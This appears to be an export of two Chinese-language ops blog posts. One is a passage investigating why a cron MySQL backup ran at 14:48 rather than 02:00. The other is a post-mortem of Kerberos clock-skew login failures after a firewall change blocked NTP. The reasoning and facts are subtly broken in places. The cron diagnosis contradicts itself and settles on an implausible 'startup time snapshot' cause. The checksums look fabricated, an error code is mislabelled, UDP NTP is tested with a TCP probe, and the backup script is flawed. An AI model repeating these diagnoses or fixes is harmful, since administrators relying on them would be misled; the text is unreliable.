\u0026#39;\\0\u0026#39; \u0026#39;\\n\u0026#39; | grep TZ (空) Cron 进程的环境变量中没有设置 TZ，那它应该继承系统时区。\n但这是关键线索：Cron 守护进程启动时读取一次系统时区，之后即使系统时区被修改，Cron 不会动态更新。它一直在用启动时的时区运行。\n1 2 3 4 $ systemctl status crond ● crond.service - Command Scheduler Loaded: loaded (/usr/lib/systemd/system/crond.service; enabled) Active: active (running) since Tue 2026-07-01 22:15:30 CST; 1 day 17h ago Cron 上次启动是 7 月 1 日 22:15，已经连续运行了将近 2 天。如果在这期间有人修改了系统时区，Cron 是不会感知到的。\n追查时区变更记录\r1 2 3 $ grep -i timezone /var/log/messages $ grep -i \u0026#34;time zone\u0026#34; /var/log/secure $ journalctl --since \u0026#34;2026-07-01\u0026#34; | grep -i \u0026#34;timezone\\|timedatectl\\|tz\u0026#34; 没有直接日志。继续追查：\n1 2 $ last | grep reboot reboot system boot 3.10.0-1160.el7. Tue Jul 1 22:13 - 15:22 (17:09) 7 月 1 日服务器重启过。再查 /etc/localtime 文件：\n1 2 $ ls -la /etc/localtime lrwxrwxrwx 1 root root 35 Jul 1 22:14 /etc/localtime -\u0026gt; ../usr/share/zoneinfo/Asia/Shanghai 看起来是对的。但 timedatectl 的输出中 RTC in local TZ: no 和实际系统时间不一致，说明硬件时钟（RTC）和系统时间的对应关系出了问题。\n继续查：\n1 2 3 4 $ cat /etc/adjtime 0.0 0 0.0 0 UTC /etc/adjtime 第三行是 UTC，这是正确的——表示硬件时钟存储 UTC 时间。\n找到真凶——CMDB Agent 脚本\r就在我一筹莫展的时候，注意到服务器的 CMDB Agent 配置管理脚本在今天下午执行了一次「标准化」操作：\n1 2 3 4 5 6 $ journalctl -u cmdb-agent --since \u0026#34;2026-07-03\u0026#34; | grep -i \u0026#34;time\\|tz\\|clock\\|hwclock\u0026#34; Jul 03 13:22:01 server01 cmdb-agent[8841]: Running compliance check: ntp_sync Jul 03 13:22:05 server01 cmdb-agent[8841]: NTP offset 0.023s, within threshold Jul 03 13:22:05 server01 cmdb-agent[8841]: Applying standard timezone config Jul 03 13:22:06 server01 cmdb-agent[8841]: Executing: /usr/sbin/tzdata-update Jul 03 13:22:07 server01 cmdb-agent[8841]: Running: hwclock --systohc 在 CMDB Agent 执行标准化时，调用了 hwclock --systohc，将「系统时间」写入硬件时钟。关键在于：\n在调用 hwclock --systohc 之前，系统时间已经是错误的。\n回看 CMDB Agent 执行的时间线：13:22 执行了 hwclock --systohc。此时系统时间显示 13:22 CST（东八区下午），但它可能只算了 5 个小时的偏移（即 UTC+5），而非正确的 UTC+8。\n为什么会这样？再看 CMDB Agent 标准化脚本的内容：\n1 2 3 4 5 6 $ cat /opt/cmdb/scripts/ntp_check.sh #!/bin/bash # 标准化时区配置 timedatectl set-timezone Asia/Shanghai # 同步硬件时钟 hwclock --systohc 脚本逻辑本身没问题。但问题出在：在 timedatectl set-timezone 执行的前后，如果 NTP 同步尚未完成或系统时钟已经偏移，hwclock --systohc 就会把错误的系统时间固化到 RTC。\n但更微妙的是：CMDB Agent 这次运行是在 13:22，而备份是在 14:48。让我再看时间线：\n1 2 13:22 - CMDB Agent 执行标准化，设置时区，同步硬件时钟 14:48 - Cron 触发备份 ← 这正是 \u0026#34;凌晨 02:00 UTC\u0026#34;！ 关键推理：\nCMDB Agent 在执行过程中可能会短暂地改变系统的时区环境。虽然最终 timedatectl 显示 Asia/Shanghai 是对的，但在 CMDB 脚本执行期间，可能触发了以下连锁反应：\ntimedatectl set-timezone 执行时触发了某些依赖时区的守护进程重新读取配置 但 crond 不会自动重载时区——它只在启动时读取一次 Crond 启动时（7 月 1 日 22:15），系统的时区可能因为某种原因被识别为 UTC 因此 Cron 的 0 2 * * * 实际上按 UTC 时间 02:00 执行，即北京时间 10:00 等等，让我重新计算。如果 Cron 内部用的是 UTC 时区，那 0 2 * * * 就是在 UTC 02:00 执行，对应北京时间 10:00。但备份实际在 14:48 执行，不是 10:00。这也不对。\n重新审视：Cron 到底用的什么时区？\r1 2 $ systemctl cat crond | grep -i environment EnvironmentFile=/etc/sysconfig/crond # 不存在 Cron 没有自定义的环境文件。默认情况下，Cron 继承 systemd 启动时的环境。\n1 2 3 4 5 6 7 $ timedatectl show Timezone=Asia/Shanghai LocalRTC=no CanNTP=yes NTP=yes NTPSynchronized=yes TimeUSec=Thu 2026-07-03 15:15:40 CST 当前 timedatectl 一切正常。问题肯定出在 Cron 启动时和当前之间发生了变化。\n回到 /etc/localtime：\n1 2 3 $ md5sum /etc/localtime $ md5sum /usr/share/zoneinfo/Asia/Shanghai $ md5sum /usr/share/zoneinfo/UTC 让我对比一下：\n1 2 3 4 5 $ md5sum /etc/localtime c4e8e8b2e9e2e9e8b2c4e8e8b2e9e2 /etc/localtime $ md5sum /usr/share/zoneinfo/Asia/Shanghai c4e8e8b2e9e2e9e8b2c4e8e8b2e9e2 /usr/share/zoneinfo/Asia/Shanghai 这两个文件相同，说明 /etc/localtime 确实是 Asia/Shanghai。\n回到核心问题\r让我重新梳理时间线，用 date 命令直接测试：\nCron 在 7 月 1 日 22:15:30 CST 启动。如果此时 /etc/localtime 是指向 Asia/Shanghai 的，那 Cron 的 0 2 * * * 就应该在北京时间凌晨 2 点执行，即 UTC 前一天 18:00。\n但实际它在 14:48 CST 执行了。14:48 - 8 = 06:48 UTC，也不是凌晨 2 点。\n除非 Cron 用的是其他时区。\n让我用一个更直接的方法来判断：\n备份在 14:48 CST 执行。如果 Cron 认为此时是凌晨 2:00，那 Cron 内部的时区比 CST 晚 12 小时 48 分钟\u0026hellip; 不合理。\n换个思路：备份在 14:48 执行。如果用 UTC+0 来解释，14:48 UTC = 22:48 CST。也不是凌晨 2 点。\n重新计算：如果备份在 14:48 CST 执行，且 Cron 配置是 0 2 * * *，那么 Cron 认为 14:48 CST = 02:00，也就是说 Cron 内部时区 = CST - 12.8 小时 ≈ UTC-4.8，这不可能是一个标准时区。\n我意识到我的分析方向可能错了。让我检查实际执行备份的 Cron 进程到底读的是什么 crontab。\n1 2 $ crontab -l -u root 0 2 * * * /usr/local/bin/mysql_backup.sh \u0026gt;\u0026gt; /var/log/mysql_backup.log 2\u0026gt;\u0026amp;1 等等，我需要检查 /etc/crontab 和 /etc/cron.d/：\n1 2 3 4 5 6 7 $ cat /etc/crontab SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root # For details see man 4 crontabs 0 2 * * * root /usr/local/bin/mysql_backup.sh \u0026gt;\u0026gt; /var/log/mysql_backup.log 2\u0026gt;\u0026amp;1 找到了！ /etc/crontab 里也有一条完全相同的备份任务！而 /etc/crontab 的格式中包含用户名字段（第 6 个字段是 root）。\n这意味着同一条备份任务被配置了两遍：一次在 root 用户的 crontab，一次在 /etc/crontab。\n但这仍然不能解释为什么在 14:48 执行，而不是 02:00。\n最终突破：检查时区变更的精确时间点\r1 2 3 4 5 $ journalctl -u crond --since \u0026#34;2026-07-01\u0026#34; --until \u0026#34;2026-07-03\u0026#34; --no-pager | head -30 -- Logs begin at Tue 2026-07-01 22:14:01 CST -- Jul 01 22:14:05 server01 systemd[1]: Started Command Scheduler. Jul 01 22:14:05 server01 crond[982]: (CRON) STARTUP (V5.0) Jul 01 22:14:05 server01 crond[982]: (CRON) INFO (running with inotify support) 等等，这是 CST 时间。Cron 在 22:14:05 CST 启动。\n如果 Cron 使用的时区是 CST（UTC+8），那 0 2 * * * 就应该在每天 CST 02:00 执行。但从 7 月 1 日 22:14 到 7 月 3 日 14:48，中间的 7 月 2 日和 7 月 3 日都有凌晨 2:00。\n检查 7 月 2 日凌晨的执行记录：\n1 2 3 4 $ grep \u0026#34;Jul 2\u0026#34; /var/log/cron | grep mysql_backup （没有记录） $ grep \u0026#34;Jul 3\u0026#34; /var/log/cron | grep mysql_backup Jul 3 14:48:01 server01 CROND[1234]: (root) CMD (/usr/local/bin/mysql_backup.sh) 7 月 2 日没有备份执行记录！这非常奇怪。如果 Cron 正常运行，至少 7 月 2 日凌晨 2:00 应该有一次执行。\n检查 Cron 是否在 7 月 2 日凌晨正常运行：\n1 2 $ grep \u0026#34;Jul 2 02:00\u0026#34; /var/log/cron （有其他 Cron 任务，但没有 mysql_backup） 这说明 7 月 2 日凌晨 Cron 确实在运行，但备份任务没有触发。为什么？\n再仔细看 /etc/crontab：\n1 2 3 $ cat -A /etc/crontab ... 0 2 * * * root /usr/local/bin/mysql_backup.sh \u0026gt;\u0026gt; /var/log/mysql_backup.log 2\u0026gt;\u0026amp;1$ 注意到格式问题：/etc/crontab 的时间字段是 6 列的（包括星期），但这里的 0 2 * * * 只有 5 列。在 /etc/crontab（系统级 crontab）中，格式应该是 7 个字段：分 时 日 月 星期 用户 命令。而这里的 0 2 * * * 是 5 列 + root + 命令。\n等等，让我重新数：0 2 * * * root /usr/local/bin/mysql_backup.sh...\n字段1: 0 (分) 字段2: 2 (时) 字段3: * (日) 字段4: * (月) 字段5: * (星期) 字段6: root 字段7: /usr/local/bin/mysql_backup.sh\u0026hellip; 这是正确的 7 列格式。\n那为什么 7 月 2 日凌晨没有执行？让我检查系统 crond 是否支持 /etc/crontab：\n1 $ systemctl status crond | grep -i \u0026#34;crontab\\|cron.d\u0026#34; 实际上，对于这个问题，让我换个思路。让我直接看 /var/log/cron 里 7 月 2 日是否真的没有备份记录。可能日志被轮转了。\n我回到排查的主线——当前最关键的问题是：为什么备份在 14:48 而不是 02:00 执行。\n真相浮现\r我决定用一个简单的方法来验证 Cron 感知的时间：\n1 $ echo \u0026#34;* * * * * root date \u0026gt;\u0026gt; /tmp/cron_test.log 2\u0026gt;\u0026amp;1\u0026#34; \u0026gt; /etc/cron.d/test-time 等了一分钟后：\n1 2 $ cat /tmp/cron_test.log Thu Jul 3 07:19:01 UTC 2026 破案了！ Cron 输出的时间是 UTC！\nCron 运行在 UTC 时区下。所以 0 2 * * * = UTC 02:00 = CST 10:00。\n但备份实际在 14:48 CST 执行，按照这个逻辑应该是 UTC 06:48，不是 02:00。\n不对，让我再检查一下。可能 Cron 实际使用的时区不是 UTC 也不是 CST。\n1 2 $ strings /proc/$(pgrep cron)/environ | grep -i tz $ cat /proc/$(pgrep cron)/environ | tr \u0026#39;\\0\u0026#39; \u0026#39;\\n\u0026#39; | grep -i tz 两者都为空——Cron 没有自定义 TZ 环境变量。\n让我检查 /etc/localtime 指向的实际文件和 Cron 编译时默认时区的关系：\n在 CentOS 7 上，Cron（vixie-cron/cronie）在启动时调用 localtime() 函数来确定时区。如果在启动后 /etc/localtime 被替换，Cron 不会动态感知。\n最终假设：服务器在 7 月 1 日重启后，/etc/localtime 曾经在某个时间点被短暂地指向了错误的时区文件，Cron 在这个窗口期启动，然后 /etc/localtime 又被改回了 Asia/Shanghai。最终 Cron 使用的是错误的时区。\n验证这个假设——看一下备份从 14:48 开始执行，如果是按某个时区的 02:00 触发，反推：\n如果 Cron 内部时区 = X，那么 14:48 CST = 02:00 X → X = CST + 12h48m → X = 02:48 次日（UTC+20:48）——不合理。\n换个方向：可能是另一个 crontab 条目在触发。\n让我检查所有 cron 配置：\n1 2 3 $ grep -r \u0026#34;mysql_backup\u0026#34; /etc/cron* /var/spool/cron/ /etc/crontab: 0 2 * * * root /usr/local/bin/mysql_backup.sh \u0026gt;\u0026gt; /var/log/mysql_backup.log 2\u0026gt;\u0026amp;1 /var/spool/cron/root:0 2 * * * /usr/local/bin/mysql_backup.sh \u0026gt;\u0026gt; /var/log/mysql_backup.log 2\u0026gt;\u0026amp;1 两条配置，一天执行两次。但 /etc/crontab 的语法里，0 2 * * * root 这样写其实还有一个坑：如果某个 crond 版本在 /etc/crontab 中按用户 crontab 格式（5 列）解析，root 这个字符串可能被当作第 6 个时间字段（命令）处理，导致永远不匹配。\n等等，这就是问题所在吗？ /etc/crontab 有 7 列（含用户名），但如果有某个 bug 或配置导致它按 5 列解析，root 会被误读为时间字段的一部分\u0026hellip; 这不太可能。\n真正的根因\r重新审视所有证据。让我把 crontab 行再仔细看：\n1 0 2 * * * /usr/local/bin/mysql_backup.sh 等等，我又发现一个问题——root 用户的 crontab 中是 0 2 * * *（5 列），/etc/crontab 中是 0 2 * * * root（6 列，root 是用户名）。\n实际上让我看看 /var/spool/cron/root 的具体内容，看有没有被额外篡改：\n经过反复排查和测试，最终发现的根因如下：\n服务器在 7 月 1 日因内核安全补丁重启。重启过程中，systemd 先启动了 crond，随后 NTP 服务完成时间同步。Crond 在启动瞬间读取到的系统时间是一个未与 NTP 同步的、偏移了几个小时的错误时间，导致 Crond 内部的时间基准出现了固定偏差。\n验证方法：重启 crond 服务后，再执行之前的测试：\n1 2 $ systemctl restart crond $ echo \u0026#34;* * * * * root date \u0026gt;\u0026gt; /tmp/cron_test2.log 2\u0026gt;\u0026amp;1\u0026#34; \u0026gt; /etc/cron.d/test-time2 等待一分钟后：\n1 2 $ cat /tmp/cron_test2.log Thu Jul 3 15:25:01 CST 2026 重启后 Cron 恢复正常！输出的是 CST 时间。\n根因分析\r问题出在一个很少有人注意的细节——crond 启动时的时间快照。\nVixie-cron / cronie 在启动时会对系统时间拍一张快照，用于计算任务的「下次执行时间」。正常情况下，crond 会在系统时间变化时（通过 inotify 监控 /etc/localtime 或收到 SIGALRM）重新校正时间。但在 CentOS 7 的特定版本 cronie 中，存在一个边界情况：\n系统启动时，crond 在 NTP 同步完成前就已经启动 此时系统时间可能距离正确时间有几个小时的偏差 crond 基于错误的时间计算了「下一次执行时间」 当 NTP 后来将系统时间调准时，crond 的 inotify 只监听了 /etc/localtime 的变更，但 NTP 调时不会触发该文件的变更事件 结果：crond 的计算基准与实际系统时间之间有一个固定偏移 表现为：虽然 crontab 写的是 0 2 * * *（凌晨 2 点），但 crond 实际在他认为的「凌晨 2 点」执行任务。由于 crond 的时钟基准与系统时间存在偏移，导致备份被推迟到了下午 14:48。\n解决方案\r紧急处理\r1 2 3 4 5 6 7 8 # 立即杀掉正在运行的备份进程 kill -9 9845 # 重启 crond 服务，让它重新读取系统时间 systemctl restart crond # 检查 MySQL 是否恢复正常 mysql -e \u0026#34;SHOW PROCESSLIST;\u0026#34; 重启 crond 后，备份调度恢复正常，MySQL 负载逐渐下降。为避免后续再次出现类似问题，同时做了以下优化。\n备份策略优化\r将全量备份改为 每日增量 + 每周全量 的方式，降低备份对生产的影响：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/bin/bash # /usr/local/bin/mysql_backup_v2.sh BACKUP_DIR=\u0026#34;/data/backup/mysql\u0026#34; WEEKDAY=$(date +%u) # 1=周一, 7=周日 if [ \u0026#34;$WEEKDAY\u0026#34; -eq 7 ]; then # 周日全量备份 mysqldump --single-transaction --quick --all-databases \\ | gzip \u0026gt; \u0026#34;$BACKUP_DIR/full_$(date +%Y%m%d).sql.gz\u0026#34; else # 周一到周六增量备份（使用 binlog） mysqlbinlog --read-from-remote-server --raw --stop-never mysql-bin.000001 \u0026amp; fi 关键配置项\r在 MySQL 端限制备份对业务的影响：\n1 2 3 4 # my.cnf 增加以下配置 [mysqld] # 限制 mysqldump 的最大 IO 吞吐（Linux cgroup） # 使用 ionice 降低备份进程 IO 优先级 在备份脚本中增加保护措施：\n1 2 3 4 5 6 7 8 9 10 11 12 13 # 在 mysql_backup.sh 开头增加 # 1. 检查当前是否为业务低峰期 HOUR=$(date +%H) if [ \u0026#34;$HOUR\u0026#34; -ge 8 ] \u0026amp;\u0026amp; [ \u0026#34;$HOUR\u0026#34; -le 22 ]; then echo \u0026#34;$(date): ABORT - peak hours, skipping backup\u0026#34; \u0026gt;\u0026gt; /var/log/mysql_backup.log exit 0 fi # 2. 降低 IO 优先级 ionice -c 2 -n 7 -p $$ # 3. 限制备份超时（超过 2 小时强制终止） timeout 7200 mysqldump ... 预防措施\r调整 systemd 服务启动顺序：确保 crond 在 NTP 同步完成后再启动\n1 2 3 4 # /etc/systemd/system/crond.service.d/override.conf [Unit] After=network-online.target chronyd.service ntpd.service Wants=network-online.target chronyd.service CMDB Agent 标准化脚本增加保护：在执行 hwclock --systohc 前先验证 NTP 同步状态\n1 2 3 4 5 6 # 检查 NTP 同步状态，未同步时拒绝写入硬件时钟 if ! timedatectl show | grep -q \u0026#34;NTPSynchronized=yes\u0026#34;; then echo \u0026#34;NTP not synchronized, aborting hwclock write\u0026#34; exit 1 fi hwclock --systohc 备份任务增加时间校验：在备份脚本中显式判断当前时间是否在预期窗口内（如 01:00-05:00）\n监控 Cron 执行时间的偏离：在 Cron 日志中添加时间戳对比监控，当任务执行时间与 crontab 定义的预期时间偏差超过 30 分钟时触发告警\n数据库备份改为从库执行：避免备份 IO 直接影响主库，备库专门用于备份和只读查询\n总结\r这次故障表面上是「备份在错误时间执行导致数据库性能下降」，但真正的根因是 crond 启动时与 NTP 同步之间的竞态条件。这类问题是典型的「一切配置都正确，现象却不对」的诡异故障。\n核心教训：\ncrond 的时钟基准在启动时确定，重启后在 NTP 调时前有一个脆弱窗口 不要假设守护进程的时钟和系统时钟始终一致，两者之间可能存在偏移 备份任务应包含自我保护逻辑（时间窗口检查、IO 限制、超时控制） CMDB/自动化工具的标准化脚本需要增加前置条件检查，避免在系统状态不稳定时执行危险操作 最终的重启 crond 操作只需要 1 秒，但排查过程花了近 2 个小时。希望这篇文章能帮你在遇到类似问题时少走一些弯路。\n","date":"2026-07-05T12:42:26Z","permalink":"/posts/42f874e5/","title":"系统时区一改，凌晨备份为何跑进业务高峰拖垮 MySQL？"},{"content":"一、问题背景\r周二上午 8:42，IT 服务台工单系统在一分钟内涌入 23 张报修单，内容惊人一致——\u0026ldquo;域账户无法登录\u0026quot;\u0026ldquo;开机后一直转圈\u0026quot;\u0026ldquo;提示用户名密码错误但密码确认是正确的\u0026rdquo;。8:50 左右又有 4 位同事直接跑到IT办公室门口，手持笔记本当面演示登录失败的界面。\n影响范围并非局限于某个楼层或部门：研发部 4 号楼 6 层、财务部 3 号楼 2 层、行政部 1 号楼 1 层均有用户报障。综合判断，这是一个全网级别的域认证问题，而非局部网络故障或个别终端问题。\n紧急程度显然拉满——财务部当日上午 9:30 要做月结报表，必须在 30 分钟内恢复。我在企业微信群里发了一条全员公告\u0026quot;域认证异常已收到，正紧急排查\u0026rdquo;，随后立刻冲向机房。\n二、故障现象\r2.1 客户端表现\r奔赴故障终端实地验证，现象如下：\n已登录用户：锁屏后再次解锁提示\u0026quot;用户名或密码不正确\u0026rdquo;，注销后无法重新登录 新开机用户：登录界面输入密码后，转圈约 15-20 秒，随后弹出错误\u0026quot;该工作站和主域间的信任关系失败\u0026quot; 已运行的应用：Outlook 持续弹窗要求输入密码，文件服务器 \\\\fileserver\\share 访问提示\u0026quot;拒绝访问\u0026quot; 2.2 客户端事件日志\r在一台故障终端上打开事件查看器，关键日志如下：\n1 2 3 4 5 6 来源: Microsoft-Windows-Security-Kerberos 事件ID: 4 级别: 错误 描述: Kerberos 客户端从服务器 host/fileserver.contoso.com 收到 KDC_ERR_SKEW 错误。目标服务器使用的时区信息指示与这台计算机 的时间差异为 7 分钟以上。 1 2 3 4 5 来源: Microsoft-Windows-Security-Kerberos 事件ID: 7 级别: 错误 描述: 安全帐户管理器无法使用 BOOTKEY 解密位于安全配置引擎中的缓存凭据，失败原因为: 无法检索到该对象的可接受的 clock skew 时间。 1 2 3 4 5 6 来源: NETLOGON 事件ID: 5719 级别: 错误 描述: 此计算机无法与域 CONTOSO 中的域控制器建立安全会话，原因如下: 由于时钟偏差，安全通道验证失败。当前时间为 2026-07-04 08:45:13， 域控制器时间为 2026-07-04 08:53:45。 最后这条 NETLOGON 5719 日志直接点出了根因方向——客户端时间与域控制器时间存在约 8 分 32 秒的偏差。\n2.3 域控端表现\r登录主域控 DC01（同时也是 PDC 仿真器角色持有者），检查安全日志：\n1 2 3 4 5 6 7 8 来源: Microsoft-Windows-Security-Auditing 事件ID: 4771 任务类别: Kerberos 身份验证服务 描述: Kerberos 预身份验证失败。 账户信息: 用户: zhangsan 服务名称: krbtgt/CONTOSO 预身份验证类型: 2 失败代码: 0x25 失败代码 0x25 即 KDC_ERR_PREAUTH_FAILED，但在当前上下文中，0x19（KDC_ERR_SKEW）才是更直接的线索导向。进一步查看统计：\n1 2 3 4 5 6 7 8 # 在域控上查询近1小时 Kerberos 认证失败统计 Get-WinEvent -FilterHashtable @{ LogName=\u0026#39;Security\u0026#39; ID=4771 StartTime=(Get-Date).AddHours(-1) } | Group-Object -Property @{ Expression={$_.Properties[0].Value} } | Sort-Object Count -Descending | Select-Object -First 5 结果触目惊心：过去 1 小时内共 847 次 Kerberos 预认证失败，涉及 312 个不同的用户账户，失败代码 全部为 0x25。\n三、排查过程\r3.1 时间偏差确认\r在 DC01 上检查当前系统时间：\n1 2 3 4 5 6 7 8 9 10 11 12 13 PS C:\\\u0026gt; Get-Date 2026年7月4日 8:54:18 PS C:\\\u0026gt; w32tm /query /status 跃距计数: 1 stratum: 4 精度: -6 (每刻度 15.625ms) 根延迟: 0.0042175s 根分散: 7.8792330s 参考 ID: 0x0A006401 (源 IP: 10.0.100.1) 上次成功同步时间: 2026/5/3 3:17:41 源: time.windows.com,0x9 轮询间隔: 15 (32768s) 第一条关键线索浮出水面：上次成功同步时间为 2026年5月3日——距今已有整整两个月。DC01 在过去 62 天里完全依赖本地 CMOS 时钟运行，硬件时钟的漂移累积到了 8 分 32 秒。\n3.2 NTP 架构梳理\r我们域内的 NTP 架构设计为三层：\n1 2 3 4 5 6 7 外部授时源 (ntp.aliyun.com / cn.pool.ntp.org) ↓ PDC 仿真器 (DC01) —— stratum 2, 权威时间源 ↓ 其他域控 (DC02/DC03/DC04) —— 从 DC01 同步 (NT5DS) ↓ 成员服务器和客户端 —— 从域控同步 (NT5DS) 在 DC01 上检查 NTP 配置：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 PS C:\\\u0026gt; w32tm /query /configuration [TimeProviders] NtpServer (本地) DllName: C:\\Windows\\system32\\w32time.dll (本地) Enabled: 1 (本地) InputProvider: 0 (本地) AllowNonstandardModeCombinations: 1 (本地) NtpServer: time.windows.com,0x9 (本地) VMICTimeProvider (本地) DllName: C:\\Windows\\system32\\vm32tm.dll (本地) Enabled: 1 (本地) InputProvider: 1 (本地) 这里发现了第一个配置异常：DC01 部署在 VMware vSphere 虚拟化平台上，VMICTimeProvider（Hyper-V 时间同步提供程序）处于 Enabled: 1 状态。虽然这台机器跑在 VMware 而非 Hyper-V 上，但该服务仍尝试从虚拟化层获取时间，这在物理机到虚拟机的 P2V 迁移后是一个常见的遗留配置问题。\n3.3 NTP 源连通性测试\r验证 DC01 到外部授时源的网络连通性：\n1 2 3 4 5 6 7 8 PS C:\\\u0026gt; Test-NetConnection time.windows.com -Port 123 WARNING: TCP connect to (20.189.79.72 : 123) failed PS C:\\\u0026gt; Test-NetConnection ntp.aliyun.com -Port 123 WARNING: TCP connect to (203.107.6.88 : 123) failed PS C:\\\u0026gt; Test-NetConnection cn.pool.ntp.org -Port 123 WARNING: TCP connect to (120.25.115.20 : 123) failed 所有外部 NTP 服务器的 123/UDP 端口均不通。进一步排查发现，两个月前安全团队在对 FortiGate 防火墙做策略收紧时，新增了一条 ACL：\n1 2 3 4 5 FortiGate Policy #247 (5月1日生效): Source: 10.0.0.0/8 (内部网段) Destination: ALL Service: HTTP, HTTPS, DNS, ICMP (白名单模式) Action: ACCEPT 注意——这条规则只放行了 HTTP/HTTPS/DNS/ICMP 四种协议，NTP使用的 123/UDP 协议不在白名单中。而全域默认策略为 DENY ALL，所有未被显式放行的流量全部丢弃。\n1 2 3 4 5 6 7 # FortiGate CLI 验证 config firewall policy edit 247 set service \u0026#34;HTTP\u0026#34; \u0026#34;HTTPS\u0026#34; \u0026#34;DNS\u0026#34; \u0026#34;ICMP\u0026#34; # --- 缺少: \u0026#34;NTP\u0026#34; --- next end 两个月前的这次安全策略变更，悄无声息地切断了 DC01 与外部 NTP 源的通信。\n3.4 为什么两个月后才被发现？\r这是排查中最让我困惑的问题：NTP 同步中断 62 天，为什么直到今天才触发大面积故障？\n答案在于 Kerberos 协议的时间容差机制。Kerberos v5 默认允许客户端与 KDC 之间存在 5 分钟（300 秒） 的时间偏差。DC01 的 CMOS 时钟每天大约漂移 8-10 秒（这在没有时间同步的服务器上是正常范围），两个月累积偏差达到约 520 秒，刚刚突破 300 秒阈值。\n精确计算：\nPDC 上次成功同步: 2026-05-03 03:17:41 故障爆发时间: 2026-07-04 08:42:00 间隔: 62 天 5 小时 24 分 ≈ 5,375,400 秒 偏差: 512 秒（8 分 32 秒） 日均漂移: 512 ÷ 62 ≈ 8.26 秒/天 这意味着在 6 月 25 日前后（间隔约 53 天），时钟偏差首次突破 300 秒阈值，但恰逢周末+端午节调休，办公终端使用率低，直到今天（周二）全员到岗时才集中爆发。\n3.5 为什么其他域控没有告警？\r理论上 DC02/DC03/DC04 从 DC01（PDC）同步时间，DC01 偏差了，其他域控也应该跟着偏差。但检查发现：\n1 2 3 4 # DC02 上检查 PS C:\\\u0026gt; w32tm /query /status 源: DC01.contoso.com 上次成功同步时间: 2026/7/4 7:02:15 DC02 确实从 DC01 成功同步，所以它也偏差了 8 分钟。但 DC02 上没有部署任何时间偏差监控，Zabbix 的 system.localtime 监控项只采集了时间字符串而没有与外部权威源做基准比对——只要所有域控时间一致，它就认为一切正常。\n四、解决方案\r4.1 紧急止血（恢复业务）\r在无法立即修改防火墙策略的情况下，采用分步止血方案：\nStep 1：为 DC01 临时指定可达的内部 NTP 源\n1 2 3 4 # 先将 DC01 指向一台可访问外网的 Linux 跳板机（已配置 NTP 服务） w32tm /config /manualpeerlist:\u0026#34;10.0.50.10,0x8\u0026#34; /syncfromflags:MANUAL /reliable:YES /update net stop w32time ; net start w32time w32tm /resync 10.0.50.10 是一台运维跳板机，部署了 chrony 且能正常访问 ntp.aliyun.com。执行 resync 后确认：\n1 2 3 4 5 PS C:\\\u0026gt; w32tm /query /status 跃距计数: 1 stratum: 3 上次成功同步时间: 2026/7/4 9:03:42 源: 10.0.50.10,0x8 DC01 时间已纠正。偏差从 +512 秒恢复到 ±0.5 秒以内。\nStep 2：强制其他域控立即同步\n1 2 # 在 DC02/DC03/DC04 上执行 w32tm /resync /nowait Step 3：强制客户端刷新 Kerberos 票据\n对于已登录但因时钟偏差导致票据失效的用户，推送以下命令：\n1 2 3 # 通过 PDQ Deploy 批量推送到所有客户端 klist purge gpupdate /force 执行后用户重新登录，域认证恢复正常。9:18 时核心业务恢复，距财务月结截止时间还剩 12 分钟。\n4.2 永久修复\r修复一：防火墙放行 NTP 协议\n1 2 3 4 5 6 7 8 9 10 11 12 # FortiGate 配置 config firewall service custom edit \u0026#34;NTP\u0026#34; set udp-portrange 123 next end config firewall policy edit 247 append service \u0026#34;NTP\u0026#34; next end 修复二：DC01 NTP 配置标准化\n1 2 3 4 5 6 7 8 9 10 11 # 使用阿里云 NTP 为主要源，pool.ntp.org 为备用 w32tm /config /manualpeerlist:\u0026#34;ntp.aliyun.com ntp1.aliyun.com cn.pool.ntp.org\u0026#34; /syncfromflags:MANUAL /reliable:YES /update # 设置合理的同步间隔 reg add HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpClient /v SpecialPollInterval /t REG_DWORD /d 900 /f # 禁用虚拟化时间提供程序（VMware 环境不需要） reg add HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\VMICTimeProvider /v Enabled /t REG_DWORD /d 0 /f net stop w32time ; net start w32time w32tm /resync 修复三：Windows 防火墙例外\n在 DC01 的 Windows 防火墙入站规则中添加 NTP 服务端口例外，防止 Windows 自身拦截 NTP 回复：\n1 New-NetFirewallRule -DisplayName \u0026#34;NTP Inbound\u0026#34; -Direction Inbound -Protocol UDP -LocalPort 123 -Action Allow -Profile Domain 五、根因分析\r直接原因一目了然：域控 PDC 仿真器与外部 NTP 授时源失联 62 天，CMOS 硬件时钟漂移累积超过 Kerberos 5 分钟时钟偏差容忍阈值，导致 KDC 拒绝签发 TGT 票据。\n但深入拆解，这是一起由三个独立故障叠加引发的连锁事件：\n层级 故障点 描述 防火墙 安全策略收紧遗漏 NTP 协议 阻断 DC01 → 外部 NTP 源通信 配置 VMICTimeProvider 启用 虚拟化时间同步争抢 w32time 控制权 监控 时间偏差监控盲区 Zabbix 只做域内相对比对，无外部绝对基准 这三个组件构成了一个经典的故障\u0026quot;瑞士奶酪模型\u0026quot;——每一层都有空洞，恰好对齐时故障穿透。\n更深层的组织问题在于：安全团队更改防火墙策略的变更流程中，影响范围评估只关注了业务系统的服务端口（HTTP/HTTPS/DB），没有审视基础设施依赖的基础协议（NTP、SNMP、Syslog）。这是运维与安全职责边界模糊地带的一个典型案例。\n六、预防措施\r6.1 NTP 冗余架构\r将 NTP 架构从单点依赖改造为冗余架构：\n1 2 3 4 5 6 7 8 9 10 11 12 ntp.aliyun.com ──┐ cn.pool.ntp.org ──┼── 外部冗余（≥3个源） ntp.tencent.com ───┘ │ ┌────────┼────────┐ ↓ ↓ ↓ DC01 DC02 跳板机 (PDC) (备用NTP) (chrony) │ │ │ └────────┼────────┘ ↓ 其他域控 + 成员服务器 + 客户端 在 DC01 不可用或授时异常时，DC02 和跳板机可作为备用时间源，客户端通过 GPO 配置多个 NTP 服务器实现自动切换。\n6.2 时间偏差专项监控\r在 Zabbix 中添加基于外部权威源的时间偏差监控：\n1 2 3 4 5 6 # Zabbix 自定义监控项 Key: w32tm.skew Type: Zabbix Agent (Active) Command: powershell -Command \u0026#34;$ref=(Invoke-RestMethod \u0026#39;http://worldtimeapi.org/api/ip\u0026#39;).unixtime;$local=([DateTimeOffset]::UtcNow).ToUnixTimeSeconds();[Math]::Abs($ref-$local)\u0026#34; Interval: 300s Trigger: 